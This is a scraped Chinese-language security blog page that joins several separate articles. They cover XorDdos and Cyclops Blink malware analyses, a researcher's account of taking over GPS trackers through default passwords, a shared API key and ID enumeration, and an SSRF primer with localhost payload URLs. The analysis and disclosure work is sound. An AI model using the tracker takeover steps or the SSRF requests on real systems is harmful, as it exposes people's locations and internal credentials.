惡意活動線程在創建持久條目、刪除其活動證據並解碼config.rar之後，惡意軟件使用sem_initAPI初始化循環冗餘校驗(CRC)表，後跟未命名的信號量。該信號量使用apshared值設置為“0”進行初始化，從而使生成的信號量在所有線程之間共享。信號量用於維護訪問共享對象的線程之間的並發性，例如kill_cfg數據。



然後惡意軟件初始化三個線程來執行惡意活動，例如停止進程、創建TCP連接和檢索kill_cfg數據。



 24.png



信號量和惡意線程初始化



kill_processkill_process線程執行以下任務：



解碼加密字符串；



獲取/var/run/gcc.pid的文件統計信息，如果不存在，則創建文件；



獲取/lib/libudev.so的文件統計信息，如果不存在，則創建目錄/lib並在/lib/libudev.so位置創建自身的副本；



獲取與當前進程相關的磁盤文件信息；如果失敗，則退出循環並停止當前進程；



從kill_cfg中讀取內容，並根據配置文件中匹配的指定項執行相應的操作，如停止進程或刪除文件，例如：



 25.png



tcp_threadtcp_thread觸發與之前使用decrypt_remotestr()解碼的C2服務器的連接。它執行以下任務：



讀取文件/var/run/gcc.pid的內容，獲取一個唯一的32字節魔術字符串，用於在連接C2服務器時識別設備；如果該文件不存在，則創建該文件並使用一個隨機的32字節字符串對其進行更新。



計算CRC標頭，包括設備的詳細信息，例如魔術字符串、操作系統版本、惡意軟件版本、rootkit存在、內存統計信息、CPU信息和LAN速度。



加密數據並將其發送到C2服務器。



等待從C2服務器接收以下任何命令，然後使用exec_packet子例程對該命令進行操作。



 26.png



系統信息收集



daemon_get_killed_processdaemon_get_killed_processthread從之前解碼的遠程URL(hxxp://aa[.]hostasa[.]org/config[.]rar)下載kill_cfg數據，並使用前面提到的相同XOR密鑰對其進行解密。然後它會休眠30分鐘。



 27.png



daemon_get_killed_process線程函數從遠程URL獲取並解碼kill_cfg數據



DDoS攻擊線程池惡意軟件調用sysconf(_SC_NPROCESSORS_CONF)來獲取設備中的處理器數量。然後，它創建的線程數量是設備上找到的處理器數量的兩倍。



在內部調用每個線程都會調用線程例程threadwork。使用全局變量“g_stop”和從C2服務器接收的命令，threadwork然後發送精心製作的數據包65535次以執行DDoS攻擊。



 28.png



如何防禦Linux平台的威脅XorDdos的模塊化特性為攻擊者提供了一種多功能木馬，能夠感染各種Linux系統架構。它的SSH暴力攻擊是一種相對簡單但有效的技術，可用於獲得對許多潛在目標的root訪問權限。



XorDdos擅長竊取敏感數據、安裝rootkit設備、使用各種規避和持久性機制以及執行DDoS攻擊，使攻擊者能夠對目標系統造成潛在的重大破壞。此外，XorDdos可用於引入其他危險威脅或為後續活動提供載體。



XorDdos和其他針對Linux設備的威脅都表明，擁有跨越眾多Linux操作系統發行版、具有全面能力和完整可見性的安全解決方案是多麼重要。 MicrosoftDefenderforEndpoint提供了這樣的可見性和保護，以捕捉這些新出現的威脅，其下一代反惡意軟件和終端檢測和響應(EDR)功能。利用來自集成威脅數據的威脅情報，包括客戶端和雲啟發式、機器學習模型、內存掃描和行為監控，MicrosoftDefenderforEndpoint可以檢測和補救XorDdos及其多階段模塊化攻擊。這包括檢測和防止其使用惡意shell腳本進行初始訪問、從全局可寫位置放置並執行二進製文件以及終端上的任何潛在後續活動。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
本文會詳細介紹針對華碩路由器的Cyclops Blink 惡意軟件變種的技術能力，並包括150 多個當前和歷史命令和控制(CC) 服務器的Cyclops Blink 殭屍網絡的列表。



最近一個名為Cyclops Blink的模塊化殭屍網絡對諸多型號的華碩路由器發起了攻擊。自2019年首次出現以來，該殭屍網絡最初針對的是WatchGuard Firebox設備。根據英國國家網絡安全中心(NCSC) 進行的分析，Cyclops Blink 是一種高級模塊化殭屍網絡，據報導與Sandworm 或Voodoo Bear 高級持續威脅(APT) 組織有關，最近已被用於攻擊WatchGuard Firebox 設備。我們獲得了針對華碩路由器的Cyclops Blink 惡意軟件系列的變種。



本報告討論了這個Cyclops Blink 惡意軟件變種的技術能力，並包括了Cyclops Blink 殭屍網絡的150 多個當前和歷史命令和控制(CC) 服務器的列表。此列表旨在幫助網絡安全防御者在其網絡中搜索受影響的設備並進行修復。追踪發現，儘管Cyclops Blink 是一個國家支持的殭屍網絡，但它的CC 服務器和木馬會影響不屬於關鍵組織的WatchGuard Firebox 和華碩設備，或者那些對經濟、政治或軍事間諜活動具有明顯價值的設備。



因此，我們認為Cyclops Blink 殭屍網絡的主要目的可能是為進一步攻擊高價值目標構建基礎設施。



Sandworm APT 組織被認為創建了Cyclops Blink 和VPNFilter 物聯網(IoT) 殭屍網絡。 VPNFilter 於2018 年首次被發現，專門針對路由器和存儲設備。據報導，它還感染了數十萬台設備。 2021 年，趨勢科技發布了VPNFilter 的技術分析，其中專門介紹了殭屍網絡在被發現兩年後如何繼續影響受感染的系統。



Sandworm 還對許多引人注目的攻擊負責，包括2015 年和2016 年對烏克蘭電網的攻擊、2017 年NotPetya 攻擊、2017 年法國總統競選、2018 年冬奧會奧運會毀滅者攻擊以及2018 年針對禁止化學武器組織。



Cyclops Blink 惡意軟件分析Cyclops Blink 是用C 語言編寫的模塊化惡意軟件。在其核心組件中，惡意軟件首先要做的是檢查其可執行文件名是否以'[k'開頭。如果沒有，它將執行以下例程：



1.它將stdout 和stderr 文件描述符重定向到/dev/null；



2.它為SIGTERM、SIGINT、SIGBUS、SIGPIPE 和SIGIO 信號設置默認處理程序；



3.它使用新的'[ktest]'進程名稱重新自我加載。



然後它會等待37 秒，然後再設置其硬編碼參數。這些包括硬編碼的CC 服務器和應該用於與CC 服務器通信的時間間隔。



它還通過調用pipe() 函數來創建用於進程間通信(IPC) 的管道，以獲取用於讀取和寫入數據的兩個文件描述符。它還通過使用ioctl() 為寫入文件描述符啟用非阻塞I/O。



之後，將在內存中創建一個新的數據包，然後將其發送到CC 服務器。本分析稍後將介紹此通信的詳細信息。



對於用於與CC 服務器通信的每個硬編碼TCP 端口，惡意軟件會在Netfilter（Linux 內核防火牆）中創建一個規則，使用libiptc1 中的iptc_insert_entry() 函數來允許與其進行輸出通信。規則具有以下參數：



 1.png



由於未知原因，惡意軟件刪除了上述規則並再次創建它們，這次是通過system() 函數使用iptables 命令。命令如下：



 2.png



然後對OpenSSL庫進行初始化，核心組件繼續初始化硬編碼的模塊。



模塊初始化在此期間，核心組件初始化模塊。通過管道與模塊進行通信。對於每個硬編碼的模塊，惡意軟件會在它們自己的子進程中執行之前創建兩個管道。



 3.png



初始化模塊的函數



在下圖中，我們推斷出以下mod_t 結構：



 4.png



推斷的mod_t 結構，最後一個成員未知。



參數然後初始化參數，它們由一個592 字節的結構組成，其中包含通過管道發送到模塊的基本信息。這些信息包括：



一個“p:”字符串頭；



核心部件的管道；



所有CC IP 地址和端口；



本地IP 地址；



CC服務器通信的時間間隔；



當下一個要發送到CC 服務器的數據包；



主進程PID；



硬編碼ID（0xA08F078B、0xBD0A5B36 和0xA244E5E2）；



參數被推送到模塊，此時模塊被初始化。



CC 通訊從模塊獲取數據後，核心組件啟動加密程序，在將數據發送到CC 服務器之前對數據進行加密。



加密Cyclops Blink 使用動態加載的受感染設備中應該可用的OpenSSL 功能對數據進行加密。



數據使用AES-256 在密碼塊鏈接(CBC) 模式下使用隨機生成的256 位密鑰和128 位初始化向量(IV) 進行加密。然後使用每個樣本唯一的硬編碼RSA-2560（320 位）公鑰對其進行加密。



惡意軟件開發者決定使用EVP_SealInit() 函數。此函數執行所有上述加密步驟，包括隨機AES 密鑰和IV 生成。



CC服務器必須有相應的RSA私鑰才能解密數據。



加密後，如果數據包總長度大於98303 字節，則發送數據包。



數據傳輸為了向CC 服務器發送數據，核心組件在隨機TCP 端口上與隨機選擇的CC 服務器執行TLS 握手，兩者都來自硬編碼列表。



在選擇一個IP地址和一個TCP端口對之後，核心組件創建一個子進程來執行通信。子進程將連接到CC服務器，並向SSL套接字寫入四個字節。這四個字節是它想要發送的數據包大小。



 5.png



子進程將四個字節寫入SSL 套接字



服務器必須用一個精確的四字節回答，也就是受害者的IPv4地址。



然後將10 個字節寫入核心組件管道。數據遵循特定格式。例如：



 6.png



然後核心組件從CC 服務器接收更多數據。這一次，它希望使用硬編碼的RSA-2560 公鑰來解密加密的數據包。



惡意軟件需要一個響應，其中前四個字節是數據包的大小，後跟加密數據。



 7.png



接收和解密來自CC服務器的數據的核心組件代碼



如果接收到某些內容，則將其解密並寫入到主管道。為了解密，該惡意軟件使用RSA_public_decrypt()函數，該函數利用RSA加密算法的“可逆性”解密用相應私鑰加密的數據。



最後，將更新一個變量，該變量包含下一次應該發送的數據包，並將所有的參數再次發送給模塊，這是因為核心組件可以從CC服務器接收新參數。



命令從CC服務器接收到的數據包括對核心組件本身或其模塊的命令。



首先，核心組件將受支持的命令發送到CC服務器，然後進入一個循環，在這個循環中它需要其中一個命令。



如果命令以核心組件為目標，它可以是以下之一：



0、終止程序；



1、繞過數據發送間隔，立即向CC服務器發送數據；



2、將新的CC 服務器添加到內存列表中；



3、設置發送下一個數據包到CC 服務器的時間；



4、設置發送下一個數據包到CC 服務器的時間；



5、添加一個新模塊（應該在命令之後收到一個ELF 文件）；



6、重新加載惡意軟件；



7、設置本地IP地址參數；



8、設置新的worker ID；



9、設置未知字節值；



10、向所有正在運行的模塊重新發送配置；



模塊華碩(0x38)這個模塊可以從設備的閃存讀取和寫入，這些設備使用閃存來存儲操作系統、配置和文件系統中的所有文件。我們的研究是在RT-AC68U上進行的，但是其他華碩路由器如RT-AC56U也可能受到影響。然而，值得注意的是，由於惡意軟件本質上是模塊化的，它可以很容易地重新編譯以針對任何其他設備。事實上，這就是他們對WatchGuard 所做的，它是相同的代碼，但它已經為相關品牌重新編譯了。



首先，模塊檢查內容/proc/mtd 文件，該文件提供有關設備的內存技術設備(MTD) 子系統的一般信息。 MTD提供了一個抽象層來訪問設備的閃存。



惡意軟件查找字符串“linux”和“rootfs”，並使用printf()類格式讀取它：



 8.png



模塊查找“linux”和“rootfs”字符串



推斷出的mdt_data_t結構如下：



 9.png



mtd_data_t 結構



數據被讀取到這個結構中。 Asus RT-AC68U 設備的/proc/mtd 內容如下：



 10.png



來自Asus RT-AC68U 路由器的典型/proc/mtd



因此，根據這個案例，惡意軟件會打開/dev/mtd2，這是存儲Linux 內核映像的分區。為什麼惡意軟件開發者決定讀取“linux”或“rootfs”分區是不清楚的。因為它們有完全不同的目的。前者保存操作系統，後者存儲程序的關鍵文件，如可執行文件、數據和庫。



Cyclops Blink 從閃存中讀取80 個字節，寫入主管道，然後進入循環等待命令替換分區內容：



 11.png



Asus 模塊主循環



如果來自核心組件的數據以“p:”開頭，則表示它是該模塊的參數，將80字節寫入閃存，有效替換其內容。



寫入由j_save_data() 函數完成。它首先通過ioctl()調用正確地擦除NAND擦除塊，然後寫入新的內容，如下圖所示：



 12.png



用於寫入原始閃存的Cyclops Blink Asus 模塊代碼



由於閃存內容是永久性的，因此該模塊可用於建立持久性和恢復出廠設置。



雖然它不能用作歸屬證明，但前面的代碼讓我們想起了VPNFilter 進程的第三階段代碼中的一個例程，稱為“dstr”，旨在“破壞”受感染的設備。除了刪除許多重要文件甚至嘗試刪除整個根文件系統之外，這個特定的VPNFilter 階段還會將許多0xff 字節寫入原始閃存：



 13.png



用於寫入原始閃存的VPNFilter “dstr”第三階段代碼



系統偵察(0x08)該模塊負責將信息從受感染設備發送到CC 服務器。以下數據來自受感染的設備：



1.模塊通過調用uname() 函數和/etc/issue 文件獲得的Linux 版本；



2.有關設備內存消耗的信息，它通過調用sysinfo() 函數獲取；



3.SSD 存儲信息，通過調用statvfs() 函數獲取；



以下文件的內容：



/etc/passwd



/etc/group



/proc/mounts



/proc/partitions



4.有關網絡接口的信息，它通過使用SIOCGIFHWADDR 和SIOCGIFADDR 命令調用if_nameindex() 和iotctl() 函數來獲取。



文件下載(0x0f)該模塊可以從互聯網上下載文件。使用DNS over HTTPS (DoH) 執行DNS 解析。惡意軟件使用以下標頭向Google DNS 服務器(8.8.8.8) 發送HTTP POST 請求：



 14.png



通過SSL 進行DNS 解析的HTTP POST 請求



該模塊似乎是NCSC 報告的Cyclops Blink 變體使用的同一模塊(0x0f) 的早期版本。模塊之間的主要區別如下：



1.該模塊沒有上傳功能；



2.該模塊使用控制標誌中的0x1位來指定是否應該通過HTTPS進行下載。



基礎設施我們已經能夠確定Cyclops Blink 殭屍網絡從受感染的WatchGuard 設備和華碩路由器中感染了路由器。這些受感染的設備會定期連接到CC 服務器，這些服務器本身託管在受感染的WatchGuard 設備上。我們有證據表明，除了華碩和WatchGuard 之外，至少有一家供應商的路由器也連接到了Cyclops Blink CC，但到目前為止，我們還無法收集該路由器品牌的惡意軟件樣本。



Cyclops Blink 殭屍網絡已經存在了一段時間。使用互聯網範圍掃描的歷史數據和SSL 證書數據，Cyclops Blink 很可能至少可以追溯到2019 年6 月。自2019 年6 月以來，該攻擊者已頒發了50 多個SSL 證書，用於WatchGuard CC 上各種TCP 端口（據我們所知，使用了以下TCP 端口：636、989、990、994、995、3269 和8443）。



在附錄A 中，出於防護需要，我們列出了Cyclops Blink 使用的活動和非活動CC。我們觀察到，一些WatchGuard 和Asus 木馬從未清理過，因為這些路由器仍會定期嘗試連接到受保護或脫機的舊CC。



 15.png



為Cyclops Blink CC 頒發的多個SSL 證書的時間線



我們的調查顯示，全世界有200 多名Cyclops Blink 受害者。受感染的WatchGuard 設備和華碩路由器的典型國家是美國、印度、意大利、加拿大以及包括俄羅斯在內的一長串其他國家。應該指出的是，這些受害者似乎不是經濟、軍事或政治間諜活動的明顯有價值的目標。例如，一些實時CC 託管在歐洲的一家律師事務所、一家為南歐的牙醫生產醫療設備的中型公司和美國的一家管道工使用的WatchGuard 設備上。這與其他APT 組織（例如Pawn Storm）執行的暴力攻擊數量不斷增加是一致的，該組織已經破壞了許多資產，例如電子郵件地址和目標的電子郵件服務器，這些資產通常與Pawn Storm 的目標不一致。



 16.png



緩解措施在過去幾年中，物聯網攻擊在全球範圍內不斷升級，互聯網路由器一直是主要目標之一。這些設備受到攻擊者的青睞有幾個原因：1.修補頻率低，2.缺乏安全軟件，3.防御者的可見性有限。一旦物聯網設備感染了惡意軟件，攻擊者就可以不受限制地訪問互聯網，下載和部署更多階段的惡意軟件，以進行偵察、間諜活動、代理或攻擊者想做的任何其他事情。



大多數物聯網設備的底層操作系統是Linux，許多強大的系統工具也使用它。這可以允許攻擊者添加他們可能需要完成攻擊的任何其他內容。在Cyclops Blink 的案例中，我們已經看到連續30 多個月（大約兩年半）被攻陷的設備被設置為其他木馬的穩定CC 服務器。



VPNFilter 的目標供應商是華碩、D-Link、華為、Linksys、MikroTik、Netgear、QNAP、TP-Link、Ubiquiti、UPVEL 和ZDE。在Cyclops Blink 的案例中，我們收到了針對華碩路由器的樣本，這些樣本之前沒有被報導過。我們分析的華碩Cyclops Blink 惡意軟件版本與之前討論的WatchGuard 版本相比存在一些差異。



我們分析的樣本是為ARM 編譯的，並與uClibc 動態鏈接。它們還包含一個專門針對華碩路由器的模塊。華碩可能只是目前Cyclops Blink 目標的供應商之一。我們有證據表明其他路由器也受到影響，但截至報告時，我們無法為WatchGuard 和華碩以外的路由器收集Cyclops Blink 惡意軟件樣本。根據我們的觀察，這些都是Cyclops Blink 攻擊者深思熟慮的。



此外，該殭屍網絡的目的仍不清楚：它是否旨在用於分佈式拒絕服務(DDoS) 攻擊、間諜活動或代理網絡仍有待觀察。但顯而易見的是，Cyclops Blink 是一種高級惡意軟件。隨著居家辦公增多，間諜活動可能是物聯網設備仍然是高級攻擊者的主要目標的部分原因。受到攻擊的路由器越多，攻擊者可以使用的強大數據收集來源以及進一步攻擊的途徑就越多。擁有分佈式基礎設施也使網絡安全團隊更難以消除整個攻擊。



這也是為什麼在兩年多之後，仍然有活動的VPNFilter 主機出現的原因。



如果懷疑某個組織的設備感染了Cyclops Blink，最好換個新路由器。執行恢復出廠設置可能會清除組織的配置，但不會清除攻擊者修改的底層操作系統。如果特定供應商的固件更新可以解決Cyclops Blink 攻擊或系統中的任何其他漏洞，組織應盡快應用這些更新。但是，在某些情況下，設備可能是報廢產品，供應商也不在提供更新。



在這種情況下，普通用戶將無法修復Cyclops Blink 感染。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0x01 背景描述在上一篇中，我發布了對在GPS跟踪設備網絡中發現的漏洞的深入分析。自從我向製造商深圳i365披露我的發現以來，已經過去了將近9個月。但是，到目前為止，我估計仍然有超過500萬種設備仍在野外使用，這些設備會暴露兒童、老年人、物質財產的精確實時GPS坐標。



你可能想知道這樣一個非常不安全的品牌如何被全球眾多消費者所購買。我發現，這個問題比向單個設備供應商披露一個漏洞要大得多。取而代之的是，我在研究的第一部分中詳細介紹了GPS跟踪器，實際上看到了供應鏈關係網，從而使安全問題從一個供應商到下一個呈指數增長。



在這篇後續文章中，我將通過詳細介紹GPS追踪器的基礎設施並解釋製造商與供應商與消費者之間的關係，來解釋這些廉價的仿製品牌的銷售範圍。



製造商才是真正生產跟踪器電子產品的一方，而賣方則是以軟件，應用程序或云解決方案的形式出售具有附加值的設備的一方。



首先，讓我回顧一下本研究的第一部分。



GPS跟踪器具有各種品牌和型號，並且具有多種用途。通常會打廣告宣傳它們，以追踪孩子在旅途中的位置，通常採用帶有麥克風/揚聲器或照相機的手錶形狀，以便與父母進行交流。我還分析了專為汽車設計的GPS跟踪器，有些型號甚至允許黑客連接到車輛的防盜裝置，從而遠程殺死引擎。我研究了衣領形狀的寵物追踪器，具有內置緊急呼叫功能的老年人追踪器以及鑰匙圈上的通用追踪器。所有這些跟踪器的共同點是基本的操作方案（如下圖所示）以及雲API中的一組漏洞，這些漏洞可能使攻擊者能夠完全控制設備。



 img



典型的GPS追踪器系統示意圖



為了完全掌握這個漏洞的鏈路，我需要解釋供應鏈問題的實際含義。在當今的物聯網領域，首先要把新產品推向市場，而不是花時間加強其安全性。特別是在競爭激烈且供應商不太可能投資內部構建所有產品的廉價設備領域，解決方案是使用從第三方購買的各種組件來構建產品。那就是供應鏈。這不是一個新概念，製造一直以來都是這樣，但是如今安全研究人員擔心的是，通常無法保證產品的這些組成部分是安全的，



縱觀GPS追踪器市場，許多看起來很相似，但是由不同的供應商以不同的產品名稱出售。事實是，那裡有無數的追踪器，並且全部由中國的幾家工廠生產。如今，在中國以外著名的跟踪器製造商包括：



 image.png



供應商通常是那些將不同來源的這三個主要組成部分進行出售和組合的供應商。我們試圖繪製所有製造商，解決方案提供商和供應商圖，但這是一個如此廣泛的網絡，以至於無法封裝所有這些信息。為了便於說明，典型的供應鏈如下所示：



 img



供應鏈插圖



上圖非常簡單並且可以理解，但這是一個理想的世界。在現實世界中，此架構中有許多例外。例如，雲解決方案提供商也可能直接銷售帶有應用程序和硬件的最終解決方案，或者硬件工廠從另一位開發人員那裡獲取固件。



0x02 漏洞概述我發現i365品牌的追踪器存在很多問題：



1.默認登錄憑證該特定供應商的所有跟踪器均已預先配置為默認密碼123456，這是最不安全的密碼之一。沒有要求用戶對其進行更改。



 image-20220323111014334.png



2.登錄未認證通過網絡未加密地登錄Web服務以及移動應用程序，因此任何人都可以截獲或更改。image-20220323111040074



 image-20220323111040074.png



登錄到Web門戶的截圖，允許用戶控制和監視跟踪器



3.弱密碼登錄跟踪器的用戶名也已預先配置，沒有給用戶提供選擇用戶名的選項。實際上，分配的用戶名實際上只是設備的國際移動設備識別碼（IMEI）的一部分，可以很容易地進行迭代。此外，密碼已重新設置為123456。



 image-20220323111054130.png



4.跟踪器和雲平台以純文本傳輸通過跟踪器的GPRS移動連接傳輸的數據未加密，並且缺少身份驗證。此外，跟踪器僅通過發送帶有預定義密碼的SMS純文本即可使攻擊者更改數據發送目的地的端點（IP地址和端口）。這種缺乏加密的機制使任何人都可以截取和修改通信，從而允許發生各種情況，例如數據洩漏，欺騙用戶的位置，發送惡意命令等等。



 image-20220323111124255.png



GPS跟踪器和雲服務器之間捕獲的通信



5.雲框架API不安全遵循SOAP標准通信協議的API端點存在許多問題。大多數功能不需要事先驗證，設備的唯一標識符是一個六位數的數字，可以快速瀏覽與設備相關的數據，例如GPS歷史記錄或云平台中存儲的照片。任何人都可以調用API，缺少身份驗證。



 image-20220323111144021 image-20220323111144021.png



要獲取存儲的照片，只需一個設備的ID（六位數字)，密鑰是固定的



即使在這裡看到的Key 字段，它也不是通過登錄獲得的會話密鑰，實際上，該應用程序的內置密鑰已被接受。事實證明，該密鑰也由不同的供應商共享，指向一個公有云。



我提到這似乎不僅僅是一個中國供應商，這是一個更大的問題，但不幸的是，事實證明我是對的。



0x03 攻擊雲平台現在，讓我向你解釋為什麼我重新介紹了供應鏈。想像一下這種情況：有數十家GPS追踪器製造商生產了所有這些不同型號的追踪器，它們都帶有自己的固件，這些固件都具有自己的協議，因此他們要么創建自己的解決方案和應用，要么購買現成的解決方案。你會走哪條路？



因為我非常懷疑這不是一個孤立的問題，所以我在考慮從另一家製造商那裡購買汽車追踪器。



1.設備研究隨機搜索GPS跟踪器在互聯網上找到了下面這個：



 image-20220323111258600.png



TK100車載GPS追踪器



根據製造商的網頁，該跟踪器能夠切斷汽車點火裝置的電源，在點火裝置打開時發送警報，以及所有標準功能，包括麥克風和揚聲器。但是我需要為此攻擊實驗購買它嗎？我決定進行虛擬分析，以證明對這些設備和配套應用程序中的任何一個進行正確的安全評估並不難。此外，為了證明我對此設備正在使用相同的後端服務的猜測。



第一步是獲取設備的操作手冊並下載配套應用程序。在製造商的網頁上，下面引起了我的注意：



 image-20220323111330816.png



有一個Web門戶和Android app。首先看一下門戶：



 image-20220323111343875.png



由於不知道確切的IMEI或車牌號，因為我實際上沒有購買，無法登錄，但至少讓我們看看這些登錄數據是如何通過網絡傳輸的。



 img



通過網絡以純文本形式輸入的密碼和用戶名



看一下Android應用程序



 image-20220323111421962 image-20220323111421962.png



Android App



沒有發現什麼信息，於是通過apklab .io進行分析：



 image-20220323111512744 img



通過apklab.io靜態分析找到的URL字符串



通過對沒有物理設備的Android應用程序進行靜態分析，我發現了一個內置URL，該URL似乎正是我要尋找的URL，因此嘗試一下。



 img



APK文件中URL的API



似乎很熟悉：



 image-20220323111536973上一篇博文對i365的分析得出的API的截圖



好的，現在讓我們從GetDeviceDetail開始測試它們是否存在相同的漏洞：



 img



具有常規參數的GetDeviceDetail API



使用先前應用程序中的內置密鑰並進行DeviceID猜測：



 img



這證明所有這些跟踪器都有一個共同點：儘管這些跟踪器是由不同的製造商製造的，但似乎雲基礎架構是由同一家公司製造的。只是為了證明我的觀點，我下載了該手冊，儘管它看起來略有不同，但我得到了幫助：



 img



你可以看到與之前的研究相同的模式，如何設置追踪器應該連接的服務器的IP地址和端口，以發送GPS數據和接收命令。



2.終極工具Google我們知道有多家供應商使用一種公有云框架，但是我們如何找到更多雲平台呢？有時候Google可以帶來豐碩的成果。我在Google上搜索了OpenAPv3.asmx，而且看起來似乎令人難以置信，我發現許多頁面的URL類似於我已經看到的格式。但是當我也發現這一點時，真是一個驚喜



 image-20220323111558179.png



允許瀏覽服務器上的目錄



任何人都可以自由瀏覽它的方式打開站點不是一個很好的標準，所幸此頁面已被刪除。但這為我提供了有關API的結構以及在那裡可以找到的內容的線索。我在這裡註意到三件事：



1.日誌目錄是可瀏覽的，這可以為我提供有關整個後端系統來自何處的更詳細的提示



2.API有多種版本，事實證明它們都在訪問相同的OpenAPIV1-V4數據。



3.ZKImages文件夾是不言自明的，包含大量GPS追踪器使用內置攝像頭拍攝的圖像



日誌目錄是引起我注意的第一件事。



 image-20220323111613941.png



如你所見，日誌是最新的



 image-20220323111630210.png



嘗試連接到數據庫時，SQL客戶端中的某些異常。但是，這裡最有價值的信息是實現框架的二進製文件的名稱。你知道信息安全領域中的所有災難都來自錯誤的代碼，糟糕的代碼通常來自程序員。因此，我決定效法這一點。除了它可能是很老的.NET二進製文件外，從二進製文件本身的名稱NewGPS2012.Logic中看不出什麼。因為之前通過Google搜到了很多信息，所以我再次嘗試了。



 image-20220323111642620.png



我對結果感到非常驚訝，發現許多Google索引的日誌目錄為我提供了幾乎免費使用相同框架的域名列表，但其中一個很特別：



 img



是的，有人剛剛留下了框架二進製文件的更新。在分析這些二進製文件時，我學到了很多東西，但是我發現的基本要點之一是在SendCommandAPI.dll文件中，該文件有詳盡的函數列表。



 image-20220323111709616.png



很快，事實證明這是可以與GPS追踪器的所有不同製造商的所有不同型號進行通訊的通用API，整個事情就講得通了。如果你是硬件設備的製造商或供應商，則可能需要一個易於使用且兼容的雲解決方案。為了安全起見，我們不公開解決方案供應商的名稱，儘管並不難找到。



 img



3.把所有東西都給我使用Web門戶登錄時，會將這些請求發送到包含以下內容DeviceID的API ：



 image-20220323111901980.png



一個奇怪的信息：



 img



我們實際上沒有這些跟踪器的用戶帳戶。還記得唯一的用戶標識是IMEI或跟踪器的ID嗎？更令人擔憂的是，我有同一家公司的更多跟踪器，並且它們在響應中都具有完全相同的UserID。



進入API並深入了解它提供的OpenAPIV3.asmx功能：



 img



試一下用戶名。所以我們只需輸入我們已經使用過多次的用戶ID和強制密鑰，就得到如下響應：



 img



考慮到整個系統的安全性，我只是嘗試使用已經使用過很多次的密碼，這次我選擇通過“帳戶”登錄：



 img



進入了供應商的控制面板，其中有所有已售出的跟踪器供我們使用。因此，用戶ID實際上是銷售商的用戶ID，他們向你出售了特定的跟踪器。



img



從這裡你可以完全控制追踪器。是的，你看對了，每頁有1026頁，10個跟踪器，讓你可以輕鬆控制10260台設備。例如，有一個重置密碼選項，你猜怎麼著，它不會要求你輸入新密碼；按下時，會將其設置為123456。



4.漏洞修復我們看到這些供應商沒有關心設備安全性。在撰寫本文時，供應商已發布了針對此bug的修復程序，但它更像是一個補丁程序。從現在開始，你將無法選擇123456密碼，並且如果已經擁有新的登錄名，則必須更改密碼123456。



 img



好吧，事實證明這根本不是一個解決辦法，因為這些API端點未正確進行身份驗證。我們再看看OpenAPIv3.asmx API ：



 image-20220323111922827.png



它可能看起來很複雜，但實際上並不復雜。這裡更重要的是，在本例中，ID是用戶的ID，並且它也只是0-999999，這很容易枚舉。其餘的必填字段是已知的。因此，通過運行一個簡單的查詢，我們可以很容易地得到以下響應：



 image-20220323111934743.png



注意結果集的大小。通過一次查詢，您將獲得分配給特定帳戶的所有設備。當你遍歷所有可能的用戶ID時，你會得到所有的用戶和設備。從那裡你可以得到你想要的任何信息，電話號碼，位置，用戶名，在這個端點下，還有來自你汽車OBD接口的數據，以及我在上一篇文章中向你展示的所有東西。最後但並非最不重要的一點是，你可以完全控制遠程設備，打電話或從追踪器發送短信。想像一下攻擊者能做什麼。例如，招募一大群移動設備向特定號碼發送短信，或在短信投票中操縱投票。



我已經研究這些不安全的GPS設備很長時間了，努力了解問題的嚴重性。到目前為止，我已經確定了30多個在互聯網


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
微信截图_20220507194114.png



服務器端請求偽造(SSRF)是一種可以用來使應用程序發出任意HTTP請求的攻擊。攻擊者使用SSRF 將來自互聯網上暴露的服務和Web 應用程序的請求代理到未暴露的內部終端。 SSRF是一個黑客反向代理，這些任意請求通常以內部網絡終端為目標，以執行從偵察到完成帳戶接管的任何操作。 SSRF以及XSS和CSRF，由於其普遍性和影響，已成為了最嚴重的web安全漏洞，SSRF是owasp十大漏洞之一。



什麼是SSRF?乍一看，添加從應用程序發出HTTP請求的功能似乎不需要進行安全審查。但是，只要你允許用戶控制HTTP請求的目標並提供用戶輸入，攻擊者就可以利用你的應用程序在內部網絡中的特權位置來實施攻擊。



SSRF漏洞Webhook就是一個很好的例子。通過設計，開發者希望用戶能夠控制webhook的目標地址。然而，這意味著攻擊者也可以控制目標地址。這允許攻擊者通過攻擊者控制的DNS 直接針對內部IP 地址或內部地址。



這意味著，無論你對敏感的內部服務或應用程序進行多麼嚴格的防火牆防護，如果你允許公開暴露的應用程序訪問這些內部應用程序並讓攻擊者控制HTTP 請求目標，攻擊就有可能找到通往這些敏感應用程序的路徑。



利用SSRFSSRF讓我們從一個充當在線hexdump 的簡單示例應用程序開始。應用程序接受URL，向API 發出請求，並輸出響應正文的十六進制轉儲。你可以在下圖中看到示例輸出以及此應用程序的源代碼。



 1.png



HTTP hexdump 應用程序的示例輸出



但是，如果這個hexdump 應用程序可以通過網絡訪問敏感的內部應用程序，會發生什麼情況？例如，你可能正在遵循最佳實踐並使用內部秘密服務來安全地存儲應用程序所需的憑證，而不是將它們檢入源代碼中。



這正是上圖中的程序所模擬的。要運行此應用程序，請將上圖中的代碼保存在一個名為ssrf1.go 的文件中，然後輸入go run ssrf1.go 以運行該應用程序。



首先導航到http://localhost:8080?url=http://www.google.com 的應用程序以查看www.google.com 的hexdump。要觸發SSRF，請導航到http://localhost:8080?url=http://localhost:8081 以獲取內部秘密。



 2.1.png



 2.2.png



 2.3.png



一個典型的SSRF漏洞示例



上圖中的程序運行hexdump 應用程序並模擬秘密服務的運行。雖然hexdump 應用程序綁定到所有接口，但秘密服務只綁定到loopback，這是一個不應該暴露在互聯網上的合理決定。



問題是hexdump 在本地運行並且可以向loopback（或任何其他內部終端）發出請求。只需將hexdump 指向http://localhost:8081 即可公開內部憑證，無論它是否偵聽任何公開公開的接口。



AWS上的SSRFAWS示例元數據服務(IMDSv1) 很好地說明了SSRF 的強大功能。事實上，研究人員Colin Percival稱其為EC2最危險的功能。



示例元數據服務非常有趣，因為它可以同時用於增提高和降低應用程序的安全性。



它可用於通過幫助你安全地管理秘密憑證生命週期來提高應用程序的安全性。你可以將IAM 角色附加到運行你的應用程序的示例，然後從示例元數據終端獲取你的憑證。示例終止後，這些憑證將被銷毀並頒發一組新憑證。從理論上講，這有助於秘密憑證的生命週期；它減少了可能在違規中暴露的憑證數量，並將憑證的生命週期縮短為示例的生命週期。



